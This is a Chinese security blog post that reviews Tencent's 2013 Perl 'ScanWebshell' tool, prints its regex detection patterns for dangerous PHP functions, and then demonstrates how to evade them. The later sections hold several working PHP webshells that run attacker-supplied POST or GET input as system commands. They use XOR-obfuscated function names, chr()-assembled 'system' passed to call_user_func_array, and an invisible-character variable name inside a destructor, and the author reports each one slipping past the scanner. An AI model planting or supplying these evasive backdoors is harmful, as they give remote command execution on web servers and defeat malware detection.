问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
一场跨越十年的超时空思维碰撞
安全工具
能想到,在十年后,在互联网的犄角旮旯里面,我还能重拾前人的经验、回忆和热枕,带着他们继续向前 十年过去了,这位 `lakehu` 师傅,你还好吗?如果不是隐退江湖,想必也已成为一方大佬了吧,向各位推动中国网络安全发展的师傅致以崇高的敬意!
0# 概述 ===== 最近反正也没啥事情干,突然看到朋友 `青山ya` 师傅审计出了腾讯开源的xSRC系统的逻辑漏洞,于是我就没事干,把开源的xSRC源码拉下来跟着审计了一波  但在审计的过程中,我在[TSRC(腾讯安全应急响应中心)](https://security.tencent.com/)的在线平台中,看到了一个好玩的东西:  ScanWebshell:此工具可用于检测php Webshell  咦,我平时不也在研究WebShell的免杀吗?兴趣使然,我打算下载下来看看 1# 工具分析 ======= 下载下来,是一个Perl语言编写的程序文件,可以在Linux系统上直接运行  通过编辑器打开,可以看到源码,作者看起来是想实现 `ASP` + `PHP` + `JSP` 的WebShell的查杀,但很可惜不知道是何种原因只完成了 `PHP` 的查杀部分,主体内容如下: ```perl #!/usr/bin/perl #Scan WebShell for LAKE2 #Desc: A small tools that find webshell with perl, it can check ASP/PHP/JSP/ASP.Net script, enjoy hacking :-) #Author: lakehu[TSRC] #Date: 2013-10-30 #Version: 1.1.1 #php webshell str @php_code_array = ( '\beval(\s|\/\*.*?\*\/)*\(\s*.*?\s*\)', '\bassert(\s|\/\*.*?\*\/)*\(\s*.*?\s*\)', '\bsystem(\s|\/\*.*?\*\/)*\(\s*.*?\s*\)', '\bpassthru(\s|\/\*.*?\*\/)*\(\s*.*?\s*\)', '\bexec(\s|\/\*.*?\*\/)*\(\s*.*?\s*\)', '\bpcntl_exec(\s|\/\*.*?\*\/)*\(\s*.*?\s*\)', '\bshell_exec(\s|\/\*.*?\*\/)*\(\s*.*?\s*\)', '\bpopen(\s|\/\*.*?\*\/)*\(\s*.*?\s*\)', '\bproc_open(\s|\/\*.*?\*\/)*\(\s*.*?\s*\)', '\bpreg_replace(\s|\/\*.*?\*\/)*\(\s*.*?\s*\)', '\bcreate_function(\s|\/\*.*?\*\/)*\(\s*.*?\s*\)', '\bob_start(\s|\/\*.*?\*\/)*\(\s*.*?\s*\)', '\barray_map(\s|\/\*.*?\*\/)*\(\s*.*?\s*\)', '`.*?`', '(include|include_once|require|require_once)(\s|\/\*.*?\*\/)*\(\s*.*?\$.*?\)', '(include|include_once|require|require_once)(\s|\/\*.*?\*\/)*\(?\s*[\'"].*?\.[^p][^h][^p]\w*?[\'"].*?\s*?;', '(phpspy|4ngel|wofeiwo|c99shell|webshell|php_nst|reDuh)', '\$[\w-_\'\\[\\]{}\.\$\*/|]+(\s|\/\*.*?\*\/)*\(.*?\)' ); ``` 可以看到,这个脚本是腾讯安全的 `lakehu` 师傅在2013年完工的,今年是2023年 整整十年时间,犹如弹指一挥间,没想到还有个人点开了他留下的赛博足迹  2# 这个脚本到底干了啥 ============ 第一次运行的时候,报了如下错误:  运行的时候,会有这个报错:`/usr/bin/perl^M: bad interpreter: No such file or directory` 这是因为不同的编码方式导致,Windows环境下面新建的文本文档默认是dos格式的,dos格式在Linux系统里面有些的字符是不可见的,所以执行报错,解决方法如下: ```c vim ./ScanWebShell.pl :set ff //显示文件格式 fileformat=dos :set ff=unix //修改格式为unix :wq //保存并退出 ``` 刚看到这个pl脚本,我只认为它就识别了常见的高危函数和可调用的高危函数,但随着深入上手和查看,它的余威还是有点震撼我的,这是脚本内提取出的正则匹配式: ```c eval(\s|\/\*.*?\*\/)*\(\s*.*?\s*\) assert(\s|\/\*.*?\*\/)*\(\s*.*?\s*\) system(\s|\/\*.*?\*\/)*\(\s*.*?\s*\) passthru(\s|\/\*.*?\*\/)*\(\s*.*?\s*\) exec(\s|\/\*.*?\*\/)*\(\s*.*?\s*\) pcntl_exec(\s|\/\*.*?\*\/)*\(\s*.*?\s*\) shell_exec(\s|\/\*.*?\*\/)*\(\s*.*?\s*\) popen(\s|\/\*.*?\*\/)*\(\s*.*?\s*\) proc_open(\s|\/\*.*?\*\/)*\(\s*.*?\s*\) preg_replace(\s|\/\*.*?\*\/)*\(\s*.*?\s*\) create_function(\s|\/\*.*?\*\/)*\(\s*.*?\s*\) ob_start(\s|\/\*.*?\*\/)*\(\s*.*?\s*\) array_map(\s|\/\*.*?\*\/)*\(\s*.*?\s*\) `.*?` (include|include_once|require|require_once)(\s|\/\*.*?\*\/)*\(\s*.*?\$.*?\) (include|include_once|require|require_once)(\s|\/\*.*?\*\/)*\(?\s*[\'"].*?\.[^p][^h][^p]\w*?[\'"].*?\s*?; (phpspy|4ngel|wofeiwo|c99shell|webshell|php_nst|reDuh) $[\w-_\'\\[\\]{}\.\$\*/|]+(\s|\/\*.*?\*\/)*\(.*?\) ``` 首先,既然过滤了这么多高危函数,那我马上想到了我写的免杀手册的第一个实例,这里面可是一个高危函数都没有的: ```php <?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]); ``` 如果不懂这个WebShell的原理,可以看开源项目的12.1部分:<https://github.com/AabyssZG/WebShell-Bypass-Guide/blob/main/PHP-Webshell-ByPass-Guide.md>  没想到第一个WebShell就翻车了,这时候的我心理活动:咦不应该啊? 然后我又把整个正则匹配式看了一遍,找到了关键的正则匹配式: ```perl '\$[\w-_\'\\[\\]{}\.\$\*/|]+(\s|\/\*.*?\*\/)*\(.*?\)' ``` 这个正则表达式要怎么理解呢,我们可以拆开用以下四部分来分析: ```perl \$ # 第一部分 [\w-_\'\\[\\]{}\.\$\*/|]+ # 第二部分 (\s|\/\*.*?\*\/)* # 第三部分 \(.*?\) # 第四部分 ``` - 第一部分: 最开头匹配符号 `$` - 第二部分:匹配一个或多个字符,这些字符可以是:字母数字下划线、单引号、反斜杠、方括号、花括号、点、`$`符号、星号、斜杠、竖线 - 第三部分: 匹配零个或多个空白字符(\\s)或注释(/ / 形式的内容)。 - 第四部分: 用非贪婪模式匹配括号内的任意字符 那现在,让我们将这些部分组合起来,可以清楚地理解整个正则表达式的匹配内容: - 第一部分: 匹配以 `$` 符号开头的单词(变量名) - 第二部分: 匹配一个或多个允许的字符,形成变量名的其余部分,比如 `$f` 或者 `$_` - 第三部分: 匹配零个或多个空白字符或注释,应该是防止中间掺杂垃圾字符干扰正则 - 第四部分: 匹配括号内的任意字符,相当于不检测括号内的内容 **相当于检测到外部变量想要作为函数执行括号内的内容就拦截,那这条正则匹配式能拦截啥呢?比如:**  一、自定义函数混淆字符串类型: ```php function confusion($a){ $s = ['A','a','b', 'y', 's', 's', 'T', 'e', 'a', 'm']; $tmp = ""; while ($a>10) { $tmp .= $s[$a%10]; $a = $a/10; } return $tmp.$s[$a]; } $f = confusion(976534); //sysTem(高危函数) $f($_POST['aabyss']); //sysTem($_POST['aabyss']); ``` 二、一维数组绕过: ```php $f = substr_replace("systxx","em",4); //system(高危函数) $z = array($array = array('a'=>$f($_GET['aabyss']))); var_dump($z); ``` 三、异或+变换参数绕过: ```php $_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]); ``` 等等,还有许多以 `变量(调用外部参数)` 来执行恶意命令的WebShell都能查杀,说明作者对参数变形和PHP参数调用的相关姿势烂熟于心啊哈哈 3# 查杀ByPass =========== 既然直接用变量作为函数执行不行的话,那可以曲线救国,比如: ```php //ASCII编码解密后为system高危函数 $f = chr(114+1).chr(120+1).chr(116-1).chr(117-1).chr(100+1).chr(108+1); call_user_func_array($f, array($_GET['aabyss'])); ``` 通过这个简单的样例,采用回调函数的手法,来执行对应的命令  成功ByPass:  同样,基于这种思路,还可以用更多手法来绕过这些正则表达式 4# 关于课后作业 ========= 这篇文章发表后,在公众号上迅速传播,我真没想到能得到lake2师傅的回应,也没想到师傅居然是前腾讯安全平台部总监? **《我很好,谢谢》:[https://mp.weixin.qq.com/s/l1gt6Wf\_yZg-dHeyBmA7Dw](https://mp.weixin.qq.com/s/l1gt6Wf_yZg-dHeyBmA7Dw)** 在文中,大佬也给我留下了课后作业:  那意味着有以下限制条件: - 不能使用任何高危函数 - 不能使用任何回调函数 - 在满足以上两个条件的情况下,能绕过 `\$[\w-_\'\\[\\]{}\.\$\*/|]+(\s|\/\*.*?\*\/)*\(.*?\)` 这个正则表达式 这个限制条件看似简单,实则细细研究后,还是挺让人伤脑筋的 因为正常情况下,比如我将高危函数名传给变量(因为高危函数都被禁用了): ```php $f = ('.$.48]' ^ ']]]@]0'); //通过异或运算,让$f = system ``` 当我们要调用 `$f` 执行高危命令的时候,结构如下: ```php $f($_POST['aabyss']); $f(calc); $f(whoami); ``` 观察发现,拐来拐去最终还是 `$f()` 的一个结构,而这个结构,恰恰是 `\$[\w-_\'\\[\\]{}\.\$\*/|]+(\s|\/\*.*?\*\/)*\(.*?\)` 这个正则表达式识别和匹配的结构  那我们该怎么绕过呢?这个时候我发现,正则表达式在匹配 `$f()` 的 `$f` 前头的这个变量的时候,使用的是 `[\w-_\'\\[\\]{}\.\$\*/|]+`,那我能不能使用不可见字符绕过呢? 说干就干,我写了以下demo: ```php header('HTTP/1.1 404'); class Aabyss{ public $c=''; function __destruct(){ $ = ('.$.48]' ^ ']]]@]0'); //通过异或运算,得到高危函数system return $($this->c); } } $runrun=new Aabyss(); @$runrun->c=$_POST['zg']; ``` 传参后,成功执行 `calc` 弹出计算器:  绕过正则表达式的匹配,成功ByPass:  背后原理:在早期PHP版本(版本号 < `7.1.9`)当中,不可见字符串是允许作为变量所存在的,那我可以通过十六进制编辑器,将变量改为不可见字符串即可:   从而根据PHP的语法结构,成功绕过了该正则表达式,实现了ByPass 5# 总结 ===== 2013年那个时代,正是国内网络安全行业刚刚扬帆起航的时代 可以看到,在那个还在用着 `D盾` 和 `菜刀caidao` 的时代,对于WebShell的查杀还是基于正则匹配式,回想现在的 `语义分析(AST)`、`机器学习(AI)` 来对WebShell进行查杀,不可谓时代的车轮仍在滚滚向前 谁能想到,在十年后,在互联网的犄角旮旯里面,我还能重拾前人的经验、回忆和热枕,带着他们继续向前 十年过去了,这位 `lakehu` 师傅,你还好吗?如果不是隐退江湖,想必也已成为一方大佬了吧,向各位推动中国网络安全发展的师傅致以崇高的敬意! - - - - - - 后续有师傅回复我了,找到了这位 `lakehu` 师傅的后续,还真是大佬,可以看链接:<https://zhuanlan.zhihu.com/p/100400881>
发表于 2023-12-06 09:00:02
阅读 ( 6068 )
分类:
安全开发
6 推荐
收藏
0 条评论
请先
登录
后评论
曾哥
渊龙Sec安全团队负责人
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!